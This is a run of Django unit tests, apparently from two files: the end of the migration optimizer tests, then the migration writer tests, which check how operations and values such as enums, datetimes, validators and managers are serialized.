        self._test_alter_alter_model(
            migrations.AlterModelTable("Foo", "a"),
            migrations.AlterModelTable("Foo", "b"),
        )

    def test_alter_alter_unique_model(self):
        self._test_alter_alter_model(
            migrations.AlterUniqueTogether("Foo", [["a", "b"]]),
            migrations.AlterUniqueTogether("Foo", [["a", "c"]]),
        )

    def test_alter_alter_index_model(self):
        self._test_alter_alter_model(
            migrations.AlterIndexTogether("Foo", [["a", "b"]]),
            migrations.AlterIndexTogether("Foo", [["a", "c"]]),
        )

    def test_alter_alter_owrt_model(self):
        self._test_alter_alter_model(
            migrations.AlterOrderWithRespectTo("Foo", "a"),
            migrations.AlterOrderWithRespectTo("Foo", "b"),
        )

    def test_optimize_through_create(self):
        """
        We should be able to optimize away create/delete through a create or delete
        of a different model, but only if the create operation does not mention the model
        at all.
        """
        # These should work
        self.assertOptimizesTo(
            [
                migrations.CreateModel("Foo", [("name", models.CharField(max_length=255))]),
                migrations.CreateModel("Bar", [("size", models.IntegerField())]),
                migrations.DeleteModel("Foo"),
            ],
            [
                migrations.CreateModel("Bar", [("size", models.IntegerField())]),
            ],
        )
        self.assertOptimizesTo(
            [
                migrations.CreateModel("Foo", [("name", models.CharField(max_length=255))]),
                migrations.CreateModel("Bar", [("size", models.IntegerField())]),
                migrations.DeleteModel("Bar"),
                migrations.DeleteModel("Foo"),
            ],
            [],
        )
        self.assertOptimizesTo(
            [
                migrations.CreateModel("Foo", [("name", models.CharField(max_length=255))]),
                migrations.CreateModel("Bar", [("size", models.IntegerField())]),
                migrations.DeleteModel("Foo"),
                migrations.DeleteModel("Bar"),
            ],
            [],
        )
        # This should not work - FK should block it
        self.assertOptimizesTo(
            [
                migrations.CreateModel("Foo", [("name", models.CharField(max_length=255))]),
                migrations.CreateModel("Bar", [("other", models.ForeignKey("testapp.Foo", models.CASCADE))]),
                migrations.DeleteModel("Foo"),
            ],
            [
                migrations.CreateModel("Foo", [("name", models.CharField(max_length=255))]),
                migrations.CreateModel("Bar", [("other", models.ForeignKey("testapp.Foo", models.CASCADE))]),
                migrations.DeleteModel("Foo"),
            ],
        )
        # The same operations should be optimized if app_label is specified and
        # a FK references a model from the other app.
        self.assertOptimizesTo(
            [
                migrations.CreateModel("Foo", [("name", models.CharField(max_length=255))]),
                migrations.CreateModel("Bar", [("other", models.ForeignKey("testapp.Foo", models.CASCADE))]),
                migrations.DeleteModel("Foo"),
            ],
            [
                migrations.CreateModel("Bar", [("other", models.ForeignKey("testapp.Foo", models.CASCADE))]),
            ],
            app_label="otherapp",
        )
        # But it shouldn't work if a FK references a model with the same
        # app_label.
        self.assertDoesNotOptimize(
            [
                migrations.CreateModel("Foo", [("name", models.CharField(max_length=255))]),
                migrations.CreateModel("Bar", [("other", models.ForeignKey("testapp.Foo", models.CASCADE))]),
                migrations.DeleteModel("Foo"),
            ],
            app_label="testapp",
        )
        # This should not work - bases should block it
        self.assertOptimizesTo(
            [
                migrations.CreateModel("Foo", [("name", models.CharField(max_length=255))]),
                migrations.CreateModel("Bar", [("size", models.IntegerField())], bases=("testapp.Foo", )),
                migrations.DeleteModel("Foo"),
            ],
            [
                migrations.CreateModel("Foo", [("name", models.CharField(max_length=255))]),
                migrations.CreateModel("Bar", [("size", models.IntegerField())], bases=("testapp.Foo", )),
                migrations.DeleteModel("Foo"),
            ],
        )
        # The same operations should be optimized if app_label and none of
        # bases belong to that app.
        self.assertOptimizesTo(
            [
                migrations.CreateModel("Foo", [("name", models.CharField(max_length=255))]),
                migrations.CreateModel("Bar", [("size", models.IntegerField())], bases=("testapp.Foo", )),
                migrations.DeleteModel("Foo"),
            ],
            [
                migrations.CreateModel("Bar", [("size", models.IntegerField())], bases=("testapp.Foo", )),
            ],
            app_label="otherapp",
        )
        # But it shouldn't work if some of bases belongs to the specified app.
        self.assertDoesNotOptimize(
            [
                migrations.CreateModel("Foo", [("name", models.CharField(max_length=255))]),
                migrations.CreateModel("Bar", [("size", models.IntegerField())], bases=("testapp.Foo", )),
                migrations.DeleteModel("Foo"),
            ],
            app_label="testapp",
        )

    def test_create_model_add_field(self):
        """
        AddField should optimize into CreateModel.
        """
        managers = [('objects', EmptyManager())]
        self.assertOptimizesTo(
            [
                migrations.CreateModel(
                    name="Foo",
                    fields=[("name", models.CharField(max_length=255))],
                    options={'verbose_name': 'Foo'},
                    bases=(UnicodeModel,),
                    managers=managers,
                ),
                migrations.AddField("Foo", "age", models.IntegerField()),
            ],
            [
                migrations.CreateModel(
                    name="Foo",
                    fields=[
                        ("name", models.CharField(max_length=255)),
                        ("age", models.IntegerField()),
                    ],
                    options={'verbose_name': 'Foo'},
                    bases=(UnicodeModel,),
                    managers=managers,
                ),
            ],
        )

    def test_create_model_add_field_not_through_fk(self):
        """
        AddField should NOT optimize into CreateModel if it's an FK to a model
        that's between them.
        """
        self.assertOptimizesTo(
            [
                migrations.CreateModel("Foo", [("name", models.CharField(max_length=255))]),
                migrations.CreateModel("Link", [("url", models.TextField())]),
                migrations.AddField("Foo", "link", models.ForeignKey("migrations.Link", models.CASCADE)),
            ],
            [
                migrations.CreateModel("Foo", [("name", models.CharField(max_length=255))]),
                migrations.CreateModel("Link", [("url", models.TextField())]),
                migrations.AddField("Foo", "link", models.ForeignKey("migrations.Link", models.CASCADE)),
            ],
        )

    def test_create_model_add_field_not_through_m2m_through(self):
        """
        AddField should NOT optimize into CreateModel if it's an M2M using a
        through that's created between them.
        """
        # Note: The middle model is not actually a valid through model,
        # but that doesn't matter, as we never render it.
        self.assertOptimizesTo(
            [
                migrations.CreateModel("Foo", [("name", models.CharField(max_length=255))]),
                migrations.CreateModel("LinkThrough", []),
                migrations.AddField(
                    "Foo", "link", models.ManyToManyField("migrations.Link", through="migrations.LinkThrough")
                ),
            ],
            [
                migrations.CreateModel("Foo", [("name", models.CharField(max_length=255))]),
                migrations.CreateModel("LinkThrough", []),
                migrations.AddField(
                    "Foo", "link", models.ManyToManyField("migrations.Link", through="migrations.LinkThrough")
                ),
            ],
        )

    def test_create_model_alter_field(self):
        """
        AlterField should optimize into CreateModel.
        """
        managers = [('objects', EmptyManager())]
        self.assertOptimizesTo(
            [
                migrations.CreateModel(
                    name="Foo",
                    fields=[("name", models.CharField(max_length=255))],
                    options={'verbose_name': 'Foo'},
                    bases=(UnicodeModel,),
                    managers=managers,
                ),
                migrations.AlterField("Foo", "name", models.IntegerField()),
            ],
            [
                migrations.CreateModel(
                    name="Foo",
                    fields=[
                        ("name", models.IntegerField()),
                    ],
                    options={'verbose_name': 'Foo'},
                    bases=(UnicodeModel,),
                    managers=managers,
                ),
            ],
        )

    def test_create_model_rename_field(self):
        """
        RenameField should optimize into CreateModel.
        """
        managers = [('objects', EmptyManager())]
        self.assertOptimizesTo(
            [
                migrations.CreateModel(
                    name="Foo",
                    fields=[("name", models.CharField(max_length=255))],
                    options={'verbose_name': 'Foo'},
                    bases=(UnicodeModel,),
                    managers=managers,
                ),
                migrations.RenameField("Foo", "name", "title"),
            ],
            [
                migrations.CreateModel(
                    name="Foo",
                    fields=[
                        ("title", models.CharField(max_length=255)),
                    ],
                    options={'verbose_name': 'Foo'},
                    bases=(UnicodeModel,),
                    managers=managers,
                ),
            ],
        )

    def test_add_field_rename_field(self):
        """
        RenameField should optimize into AddField
        """
        self.assertOptimizesTo(
            [
                migrations.AddField("Foo", "name", models.CharField(max_length=255)),
                migrations.RenameField("Foo", "name", "title"),
            ],
            [
                migrations.AddField("Foo", "title", models.CharField(max_length=255)),
            ],
        )

    def test_alter_field_rename_field(self):
        """
        RenameField should optimize to the other side of AlterField,
        and into itself.
        """
        self.assertOptimizesTo(
            [
                migrations.AlterField("Foo", "name", models.CharField(max_length=255)),
                migrations.RenameField("Foo", "name", "title"),
                migrations.RenameField("Foo", "title", "nom"),
            ],
            [
                migrations.RenameField("Foo", "name", "nom"),
                migrations.AlterField("Foo", "nom", models.CharField(max_length=255)),
            ],
        )

    def test_create_model_remove_field(self):
        """
        RemoveField should optimize into CreateModel.
        """
        managers = [('objects', EmptyManager())]
        self.assertOptimizesTo(
            [
                migrations.CreateModel(
                    name="Foo",
                    fields=[
                        ("name", models.CharField(max_length=255)),
                        ("age", models.IntegerField()),
                    ],
                    options={'verbose_name': 'Foo'},
                    bases=(UnicodeModel,),
                    managers=managers,
                ),
                migrations.RemoveField("Foo", "age"),
            ],
            [
                migrations.CreateModel(
                    name="Foo",
                    fields=[
                        ("name", models.CharField(max_length=255)),
                    ],
                    options={'verbose_name': 'Foo'},
                    bases=(UnicodeModel,),
                    managers=managers,
                ),
            ],
        )

    def test_add_field_alter_field(self):
        """
        AlterField should optimize into AddField.
        """
        self.assertOptimizesTo(
            [
                migrations.AddField("Foo", "age", models.IntegerField()),
                migrations.AlterField("Foo", "age", models.FloatField(default=2.4)),
            ],
            [
                migrations.AddField("Foo", name="age", field=models.FloatField(default=2.4)),
            ],
        )

    def test_add_field_delete_field(self):
        """
        RemoveField should cancel AddField
        """
        self.assertOptimizesTo(
            [
                migrations.AddField("Foo", "age", models.IntegerField()),
                migrations.RemoveField("Foo", "age"),
            ],
            [],
        )

    def test_alter_field_delete_field(self):
        """
        RemoveField should absorb AlterField
        """
        self.assertOptimizesTo(
            [
                migrations.AlterField("Foo", "age", models.IntegerField()),
                migrations.RemoveField("Foo", "age"),
            ],
            [
                migrations.RemoveField("Foo", "age"),
            ],
        )

    def _test_create_alter_foo_field(self, alter):
        """
        CreateModel, AlterFooTogether/AlterOrderWithRespectTo followed by an
        add/alter/rename field should optimize to CreateModel and the Alter*
        """
        # AddField
        self.assertOptimizesTo(
            [
                migrations.CreateModel("Foo", [
                    ("a", models.IntegerField()),
                    ("b", models.IntegerField()),
                ]),
                alter,
                migrations.AddField("Foo", "c", models.IntegerField()),
            ],
            [
                migrations.CreateModel("Foo", [
                    ("a", models.IntegerField()),
                    ("b", models.IntegerField()),
                    ("c", models.IntegerField()),
                ]),
                alter,
            ],
        )

        # AlterField
        self.assertDoesNotOptimize(
            [
                migrations.CreateModel("Foo", [
                    ("a", models.IntegerField()),
                    ("b", models.IntegerField()),
                ]),
                alter,
                migrations.AlterField("Foo", "b", models.CharField(max_length=255)),
            ],
        )

        self.assertOptimizesTo(
            [
                migrations.CreateModel("Foo", [
                    ("a", models.IntegerField()),
                    ("b", models.IntegerField()),
                    ("c", models.IntegerField()),
                ]),
                alter,
                migrations.AlterField("Foo", "c", models.CharField(max_length=255)),
            ],
            [
                migrations.CreateModel("Foo", [
                    ("a", models.IntegerField()),
                    ("b", models.IntegerField()),
                    ("c", models.CharField(max_length=255)),
                ]),
                alter,
            ],
        )

        # RenameField
        self.assertDoesNotOptimize(
            [
                migrations.CreateModel("Foo", [
                    ("a", models.IntegerField()),
                    ("b", models.IntegerField()),
                ]),
                alter,
                migrations.RenameField("Foo", "b", "c"),
            ],
        )

        self.assertOptimizesTo(
            [
                migrations.CreateModel("Foo", [
                    ("a", models.IntegerField()),
                    ("b", models.IntegerField()),
                ]),
                alter,
                migrations.RenameField("Foo", "b", "x"),
                migrations.RenameField("Foo", "x", "c"),
            ],
            [
                migrations.CreateModel("Foo", [
                    ("a", models.IntegerField()),
                    ("b", models.IntegerField()),
                ]),
                alter,
                migrations.RenameField("Foo", "b", "c"),
            ],
        )

        self.assertOptimizesTo(
            [
                migrations.CreateModel("Foo", [
                    ("a", models.IntegerField()),
                    ("b", models.IntegerField()),
                    ("c", models.IntegerField()),
                ]),
                alter,
                migrations.RenameField("Foo", "c", "d"),
            ],
            [
                migrations.CreateModel("Foo", [
                    ("a", models.IntegerField()),
                    ("b", models.IntegerField()),
                    ("d", models.IntegerField()),
                ]),
                alter,
            ],
        )

        # RemoveField
        self.assertDoesNotOptimize(
            [
                migrations.CreateModel("Foo", [
                    ("a", models.IntegerField()),
                    ("b", models.IntegerField()),
                ]),
                alter,
                migrations.RemoveField("Foo", "b"),
            ],
        )

        self.assertOptimizesTo(
            [
                migrations.CreateModel("Foo", [
                    ("a", models.IntegerField()),
                    ("b", models.IntegerField()),
                    ("c", models.IntegerField()),
                ]),
                alter,
                migrations.RemoveField("Foo", "c"),
            ],
            [
                migrations.CreateModel("Foo", [
                    ("a", models.IntegerField()),
                    ("b", models.IntegerField()),
                ]),
                alter,
            ],
        )

    def test_create_alter_unique_field(self):
        self._test_create_alter_foo_field(migrations.AlterUniqueTogether("Foo", [["a", "b"]]))

    def test_create_alter_index_field(self):
        self._test_create_alter_foo_field(migrations.AlterIndexTogether("Foo", [["a", "b"]]))

    def test_create_alter_owrt_field(self):
        self._test_create_alter_foo_field(migrations.AlterOrderWithRespectTo("Foo", "b"))

    def test_optimize_through_fields(self):
        """
        Checks that field-level through checking is working.
        This should manage to collapse model Foo to nonexistence,
        and model Bar to a single IntegerField called "width".
        """
        self.assertOptimizesTo(
            [
                migrations.CreateModel("Foo", [("name", models.CharField(max_length=255))]),
                migrations.CreateModel("Bar", [("size", models.IntegerField())]),
                migrations.AddField("Foo", "age", models.IntegerField()),
                migrations.AddField("Bar", "width", models.IntegerField()),
                migrations.AlterField("Foo", "age", models.IntegerField()),
                migrations.RenameField("Bar", "size", "dimensions"),
                migrations.RemoveField("Foo", "age"),
                migrations.RenameModel("Foo", "Phou"),
                migrations.RemoveField("Bar", "dimensions"),
                migrations.RenameModel("Phou", "Fou"),
                migrations.DeleteModel("Fou"),
            ],
            [
                migrations.CreateModel("Bar", [("width", models.IntegerField())]),
            ],
        )

    def test_optimize_elidable_operation(self):
        elidable_operation = operations.base.Operation()
        elidable_operation.elidable = True
        self.assertOptimizesTo(
            [
                elidable_operation,
                migrations.CreateModel("Foo", [("name", models.CharField(max_length=255))]),
                elidable_operation,
                migrations.CreateModel("Bar", [("size", models.IntegerField())]),
                elidable_operation,
                migrations.RenameModel("Foo", "Phou"),
                migrations.DeleteModel("Bar"),
                elidable_operation,
            ],
            [
                migrations.CreateModel("Phou", [("name", models.CharField(max_length=255))]),
            ],
        )






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

import datetime
import decimal
import functools
import math
import os
import re
import tokenize
import unittest

import custom_migration_operations.more_operations
import custom_migration_operations.operations

from django import get_version
from django.conf import settings
from django.core.validators import EmailValidator, RegexValidator
from django.db import migrations, models
from django.db.migrations.writer import (
    MigrationWriter, OperationWriter, SettingsReference,
)
from django.test import SimpleTestCase, ignore_warnings, mock
from django.utils import datetime_safe, six
from django.utils._os import upath
from django.utils.deconstruct import deconstructible
from django.utils.functional import SimpleLazyObject
from django.utils.timezone import FixedOffset, get_default_timezone, utc
from django.utils.translation import ugettext_lazy as _

from .models import FoodManager, FoodQuerySet

try:
    import enum
except ImportError:
    enum = None


class Money(decimal.Decimal):
    def deconstruct(self):
        return (
            '%s.%s' % (self.__class__.__module__, self.__class__.__name__),
            [six.text_type(self)],
            {}
        )


class TestModel1(object):
    def upload_to(self):
        return "somewhere dynamic"
    thing = models.FileField(upload_to=upload_to)


class OperationWriterTests(SimpleTestCase):

    def test_empty_signature(self):
        operation = custom_migration_operations.operations.TestOperation()
        buff, imports = OperationWriter(operation, indentation=0).serialize()
        self.assertEqual(imports, {'import custom_migration_operations.operations'})
        self.assertEqual(
            buff,
            'custom_migration_operations.operations.TestOperation(\n'
            '),'
        )

    def test_args_signature(self):
        operation = custom_migration_operations.operations.ArgsOperation(1, 2)
        buff, imports = OperationWriter(operation, indentation=0).serialize()
        self.assertEqual(imports, {'import custom_migration_operations.operations'})
        self.assertEqual(
            buff,
            'custom_migration_operations.operations.ArgsOperation(\n'
            '    arg1=1,\n'
            '    arg2=2,\n'
            '),'
        )

    def test_kwargs_signature(self):
        operation = custom_migration_operations.operations.KwargsOperation(kwarg1=1)
        buff, imports = OperationWriter(operation, indentation=0).serialize()
        self.assertEqual(imports, {'import custom_migration_operations.operations'})
        self.assertEqual(
            buff,
            'custom_migration_operations.operations.KwargsOperation(\n'
            '    kwarg1=1,\n'
            '),'
        )

    def test_args_kwargs_signature(self):
        operation = custom_migration_operations.operations.ArgsKwargsOperation(1, 2, kwarg2=4)
        buff, imports = OperationWriter(operation, indentation=0).serialize()
        self.assertEqual(imports, {'import custom_migration_operations.operations'})
        self.assertEqual(
            buff,
            'custom_migration_operations.operations.ArgsKwargsOperation(\n'
            '    arg1=1,\n'
            '    arg2=2,\n'
            '    kwarg2=4,\n'
            '),'
        )

    def test_nested_args_signature(self):
        operation = custom_migration_operations.operations.ArgsOperation(
            custom_migration_operations.operations.ArgsOperation(1, 2),
            custom_migration_operations.operations.KwargsOperation(kwarg1=3, kwarg2=4)
        )
        buff, imports = OperationWriter(operation, indentation=0).serialize()
        self.assertEqual(imports, {'import custom_migration_operations.operations'})
        self.assertEqual(
            buff,
            'custom_migration_operations.operations.ArgsOperation(\n'
            '    arg1=custom_migration_operations.operations.ArgsOperation(\n'
            '        arg1=1,\n'
            '        arg2=2,\n'
            '    ),\n'
            '    arg2=custom_migration_operations.operations.KwargsOperation(\n'
            '        kwarg1=3,\n'
            '        kwarg2=4,\n'
            '    ),\n'
            '),'
        )

    def test_multiline_args_signature(self):
        operation = custom_migration_operations.operations.ArgsOperation("test\n    arg1", "test\narg2")
        buff, imports = OperationWriter(operation, indentation=0).serialize()
        self.assertEqual(imports, {'import custom_migration_operations.operations'})
        self.assertEqual(
            buff,
            "custom_migration_operations.operations.ArgsOperation(\n"
            "    arg1='test\\n    arg1',\n"
            "    arg2='test\\narg2',\n"
            "),"
        )

    def test_expand_args_signature(self):
        operation = custom_migration_operations.operations.ExpandArgsOperation([1, 2])
        buff, imports = OperationWriter(operation, indentation=0).serialize()
        self.assertEqual(imports, {'import custom_migration_operations.operations'})
        self.assertEqual(
            buff,
            'custom_migration_operations.operations.ExpandArgsOperation(\n'
            '    arg=[\n'
            '        1,\n'
            '        2,\n'
            '    ],\n'
            '),'
        )

    def test_nested_operation_expand_args_signature(self):
        operation = custom_migration_operations.operations.ExpandArgsOperation(
            arg=[
                custom_migration_operations.operations.KwargsOperation(
                    kwarg1=1,
                    kwarg2=2,
                ),
            ]
        )
        buff, imports = OperationWriter(operation, indentation=0).serialize()
        self.assertEqual(imports, {'import custom_migration_operations.operations'})
        self.assertEqual(
            buff,
            'custom_migration_operations.operations.ExpandArgsOperation(\n'
            '    arg=[\n'
            '        custom_migration_operations.operations.KwargsOperation(\n'
            '            kwarg1=1,\n'
            '            kwarg2=2,\n'
            '        ),\n'
            '    ],\n'
            '),'
        )


class WriterTests(SimpleTestCase):
    """
    Tests the migration writer (makes migration files from Migration instances)
    """

    def safe_exec(self, string, value=None):
        l = {}
        try:
            exec(string, globals(), l)
        except Exception as e:
            if value:
                self.fail("Could not exec %r (from value %r): %s" % (string.strip(), value, e))
            else:
                self.fail("Could not exec %r: %s" % (string.strip(), e))
        return l

    def serialize_round_trip(self, value):
        string, imports = MigrationWriter.serialize(value)
        return self.safe_exec("%s\ntest_value_result = %s" % ("\n".join(imports), string), value)['test_value_result']

    def assertSerializedEqual(self, value):
        self.assertEqual(self.serialize_round_trip(value), value)

    def assertSerializedResultEqual(self, value, target):
        self.assertEqual(MigrationWriter.serialize(value), target)

    def assertSerializedFieldEqual(self, value):
        new_value = self.serialize_round_trip(value)
        self.assertEqual(value.__class__, new_value.__class__)
        self.assertEqual(value.max_length, new_value.max_length)
        self.assertEqual(value.null, new_value.null)
        self.assertEqual(value.unique, new_value.unique)

    def test_serialize_numbers(self):
        self.assertSerializedEqual(1)
        self.assertSerializedEqual(1.2)
        self.assertTrue(math.isinf(self.serialize_round_trip(float("inf"))))
        self.assertTrue(math.isinf(self.serialize_round_trip(float("-inf"))))
        self.assertTrue(math.isnan(self.serialize_round_trip(float("nan"))))

        self.assertSerializedEqual(decimal.Decimal('1.3'))
        self.assertSerializedResultEqual(
            decimal.Decimal('1.3'),
            ("Decimal('1.3')", {'from decimal import Decimal'})
        )

        self.assertSerializedEqual(Money('1.3'))
        self.assertSerializedResultEqual(
            Money('1.3'),
            ("migrations.test_writer.Money('1.3')", {'import migrations.test_writer'})
        )

    def test_serialize_constants(self):
        self.assertSerializedEqual(None)
        self.assertSerializedEqual(True)
        self.assertSerializedEqual(False)

    def test_serialize_strings(self):
        self.assertSerializedEqual(b"foobar")
        string, imports = MigrationWriter.serialize(b"foobar")
        self.assertEqual(string, "b'foobar'")
        self.assertSerializedEqual("föobár")
        string, imports = MigrationWriter.serialize("foobar")
        self.assertEqual(string, "'foobar'")

    def test_serialize_multiline_strings(self):
        self.assertSerializedEqual(b"foo\nbar")
        string, imports = MigrationWriter.serialize(b"foo\nbar")
        self.assertEqual(string, "b'foo\\nbar'")
        self.assertSerializedEqual("föo\nbár")
        string, imports = MigrationWriter.serialize("foo\nbar")
        self.assertEqual(string, "'foo\\nbar'")

    def test_serialize_collections(self):
        self.assertSerializedEqual({1: 2})
        self.assertSerializedEqual(["a", 2, True, None])
        self.assertSerializedEqual({2, 3, "eighty"})
        self.assertSerializedEqual({"lalalala": ["yeah", "no", "maybe"]})
        self.assertSerializedEqual(_('Hello'))

    def test_serialize_builtin_types(self):
        self.assertSerializedEqual([list, tuple, dict, set, frozenset])
        self.assertSerializedResultEqual(
            [list, tuple, dict, set, frozenset],
            ("[list, tuple, dict, set, frozenset]", set())
        )

    def test_serialize_lazy_objects(self):
        pattern = re.compile(r'^foo$', re.UNICODE)
        lazy_pattern = SimpleLazyObject(lambda: pattern)
        self.assertEqual(self.serialize_round_trip(lazy_pattern), pattern)

    @unittest.skipUnless(enum, "enum34 is required on Python 2")
    def test_serialize_enums(self):
        class TextEnum(enum.Enum):
            A = 'a-value'
            B = 'value-b'

        class BinaryEnum(enum.Enum):
            A = b'a-value'
            B = b'value-b'

        class IntEnum(enum.IntEnum):
            A = 1
            B = 2

        self.assertSerializedResultEqual(
            TextEnum.A,
            ("migrations.test_writer.TextEnum('a-value')", {'import migrations.test_writer'})
        )
        self.assertSerializedResultEqual(
            BinaryEnum.A,
            ("migrations.test_writer.BinaryEnum(b'a-value')", {'import migrations.test_writer'})
        )
        self.assertSerializedResultEqual(
            IntEnum.B,
            ("migrations.test_writer.IntEnum(2)", {'import migrations.test_writer'})
        )

        field = models.CharField(default=TextEnum.B, choices=[(m.value, m) for m in TextEnum])
        string = MigrationWriter.serialize(field)[0]
        self.assertEqual(
            string,
            "models.CharField(choices=["
            "('a-value', migrations.test_writer.TextEnum('a-value')), "
            "('value-b', migrations.test_writer.TextEnum('value-b'))], "
            "default=migrations.test_writer.TextEnum('value-b'))"
        )
        field = models.CharField(default=BinaryEnum.B, choices=[(m.value, m) for m in BinaryEnum])
        string = MigrationWriter.serialize(field)[0]
        self.assertEqual(
            string,
            "models.CharField(choices=["
            "(b'a-value', migrations.test_writer.BinaryEnum(b'a-value')), "
            "(b'value-b', migrations.test_writer.BinaryEnum(b'value-b'))], "
            "default=migrations.test_writer.BinaryEnum(b'value-b'))"
        )
        field = models.IntegerField(default=IntEnum.A, choices=[(m.value, m) for m in IntEnum])
        string = MigrationWriter.serialize(field)[0]
        self.assertEqual(
            string,
            "models.IntegerField(choices=["
            "(1, migrations.test_writer.IntEnum(1)), "
            "(2, migrations.test_writer.IntEnum(2))], "
            "default=migrations.test_writer.IntEnum(1))"
        )

    def test_serialize_functions(self):
        with self.assertRaisesMessage(ValueError, 'Cannot serialize function: lambda'):
            self.assertSerializedEqual(lambda x: 42)
        self.assertSerializedEqual(models.SET_NULL)
        string, imports = MigrationWriter.serialize(models.SET(42))
        self.assertEqual(string, 'models.SET(42)')
        self.serialize_round_trip(models.SET(42))

    def test_serialize_datetime(self):
        self.assertSerializedEqual(datetime.datetime.utcnow())
        self.assertSerializedEqual(datetime.datetime.utcnow)
        self.assertSerializedEqual(datetime.datetime.today())
        self.assertSerializedEqual(datetime.datetime.today)
        self.assertSerializedEqual(datetime.date.today())
        self.assertSerializedEqual(datetime.date.today)
        self.assertSerializedEqual(datetime.datetime.now().time())
        self.assertSerializedEqual(datetime.datetime(2014, 1, 1, 1, 1, tzinfo=get_default_timezone()))
        self.assertSerializedEqual(datetime.datetime(2013, 12, 31, 22, 1, tzinfo=FixedOffset(180)))
        self.assertSerializedResultEqual(
            datetime.datetime(2014, 1, 1, 1, 1),
            ("datetime.datetime(2014, 1, 1, 1, 1)", {'import datetime'})
        )
        self.assertSerializedResultEqual(
            datetime.datetime(2012, 1, 1, 1, 1, tzinfo=utc),
            (
                "datetime.datetime(2012, 1, 1, 1, 1, tzinfo=utc)",
                {'import datetime', 'from django.utils.timezone import utc'},
            )
        )

    def test_serialize_datetime_safe(self):
        self.assertSerializedResultEqual(
            datetime_safe.date(2014, 3, 31),
            ("datetime.date(2014, 3, 31)", {'import datetime'})
        )
        self.assertSerializedResultEqual(
            datetime_safe.time(10, 25),
            ("datetime.time(10, 25)", {'import datetime'})
        )
        self.assertSerializedResultEqual(
            datetime_safe.datetime(2014, 3, 31, 16, 4, 31),
            ("datetime.datetime(2014, 3, 31, 16, 4, 31)", {'import datetime'})
        )

    def test_serialize_fields(self):
        self.assertSerializedFieldEqual(models.CharField(max_length=255))
        self.assertSerializedResultEqual(
            models.CharField(max_length=255),
            ("models.CharField(max_length=255)", {"from django.db import models"})
        )
        self.assertSerializedFieldEqual(models.TextField(null=True, blank=True))
        self.assertSerializedResultEqual(
            models.TextField(null=True, blank=True),
            ("models.TextField(blank=True, null=True)", {'from django.db import models'})
        )

    def test_serialize_settings(self):
        self.assertSerializedEqual(SettingsReference(settings.AUTH_USER_MODEL, "AUTH_USER_MODEL"))
        self.assertSerializedResultEqual(
            SettingsReference("someapp.model", "AUTH_USER_MODEL"),
            ("settings.AUTH_USER_MODEL", {"from django.conf import settings"})
        )

    def test_serialize_iterators(self):
        self.assertSerializedResultEqual(
            ((x, x * x) for x in range(3)),
            ("((0, 0), (1, 1), (2, 4))", set())
        )

    def test_serialize_compiled_regex(self):
        """
        Make sure compiled regex can be serialized.
        """
        regex = re.compile(r'^\w+$', re.U)
        self.assertSerializedEqual(regex)

    def test_serialize_class_based_validators(self):
        """
        Ticket #22943: Test serialization of class-based validators, including
        compiled regexes.
        """
        validator = RegexValidator(message="hello")
        string = MigrationWriter.serialize(validator)[0]
        self.assertEqual(string, "django.core.validators.RegexValidator(message='hello')")
        self.serialize_round_trip(validator)

        # Test with a compiled regex.
        validator = RegexValidator(regex=re.compile(r'^\w+$', re.U))
        string = MigrationWriter.serialize(validator)[0]
        self.assertEqual(string, "django.core.validators.RegexValidator(regex=re.compile('^\\\\w+$', 32))")
        self.serialize_round_trip(validator)

        # Test a string regex with flag
        validator = RegexValidator(r'^[0-9]+$', flags=re.U)
        string = MigrationWriter.serialize(validator)[0]
        self.assertEqual(string, "django.core.validators.RegexValidator('^[0-9]+$', flags=32)")
        self.serialize_round_trip(validator)

        # Test message and code
        validator = RegexValidator('^[-a-zA-Z0-9_]+$', 'Invalid', 'invalid')
        string = MigrationWriter.serialize(validator)[0]
        self.assertEqual(string, "django.core.validators.RegexValidator('^[-a-zA-Z0-9_]+$', 'Invalid', 'invalid')")
        self.serialize_round_trip(validator)

        # Test with a subclass.
        validator = EmailValidator(message="hello")
        string = MigrationWriter.serialize(validator)[0]
        self.assertEqual(string, "django.core.validators.EmailValidator(message='hello')")
        self.serialize_round_trip(validator)

        validator = deconstructible(path="migrations.test_writer.EmailValidator")(EmailValidator)(message="hello")
        string = MigrationWriter.serialize(validator)[0]
        self.assertEqual(string, "migrations.test_writer.EmailValidator(message='hello')")

        validator = deconstructible(path="custom.EmailValidator")(EmailValidator)(message="hello")
        with six.assertRaisesRegex(self, ImportError, "No module named '?custom'?"):
            MigrationWriter.serialize(validator)

        validator = deconstructible(path="django.core.validators.EmailValidator2")(EmailValidator)(message="hello")
        with self.assertRaisesMessage(ValueError, "Could not find object EmailValidator2 in django.core.validators."):
            MigrationWriter.serialize(validator)

    def test_serialize_empty_nonempty_tuple(self):
        """
        Ticket #22679: makemigrations generates invalid code for (an empty
        tuple) default_permissions = ()
        """
        empty_tuple = ()
        one_item_tuple = ('a',)
        many_items_tuple = ('a', 'b', 'c')
        self.assertSerializedEqual(empty_tuple)
        self.assertSerializedEqual(one_item_tuple)
        self.assertSerializedEqual(many_items_tuple)

    def test_serialize_builtins(self):
        string, imports = MigrationWriter.serialize(range)
        self.assertEqual(string, 'range')
        self.assertEqual(imports, set())

    @unittest.skipUnless(six.PY2, "Only applies on Python 2")
    def test_serialize_direct_function_reference(self):
        """
        Ticket #22436: You cannot use a function straight from its body
        (e.g. define the method and use it in the same body)
        """
        with self.assertRaises(ValueError):
            self.serialize_round_trip(TestModel1.thing)

    def test_serialize_local_function_reference(self):
        """
        Neither py2 or py3 can serialize a reference in a local scope.
        """
        class TestModel2(object):
            def upload_to(self):
                return "somewhere dynamic"
            thing = models.FileField(upload_to=upload_to)
        with self.assertRaises(ValueError):
            self.serialize_round_trip(TestModel2.thing)

    def test_serialize_local_function_reference_message(self):
        """
        Make sure user is seeing which module/function is the issue
        """
        class TestModel2(object):
            def upload_to(self):
                return "somewhere dynamic"
            thing = models.FileField(upload_to=upload_to)

        with self.assertRaisesMessage(ValueError, 'Could not find function upload_to in migrations.test_writer'):
            self.serialize_round_trip(TestModel2.thing)

    def test_serialize_managers(self):
        self.assertSerializedEqual(models.Manager())
        self.assertSerializedResultEqual(
            FoodQuerySet.as_manager(),
            ('migrations.models.FoodQuerySet.as_manager()', {'import migrations.models'})
        )
        self.assertSerializedEqual(FoodManager('a', 'b'))
        self.assertSerializedEqual(FoodManager('x', 'y', c=3, d=4))

    def test_serialize_frozensets(self):
        self.assertSerializedEqual(frozenset())
        self.assertSerializedEqual(frozenset("let it go"))

    def test_serialize_timedelta(self):
        self.assertSerializedEqual(datetime.timedelta())
        self.assertSerializedEqual(datetime.timedelta(minutes=42))

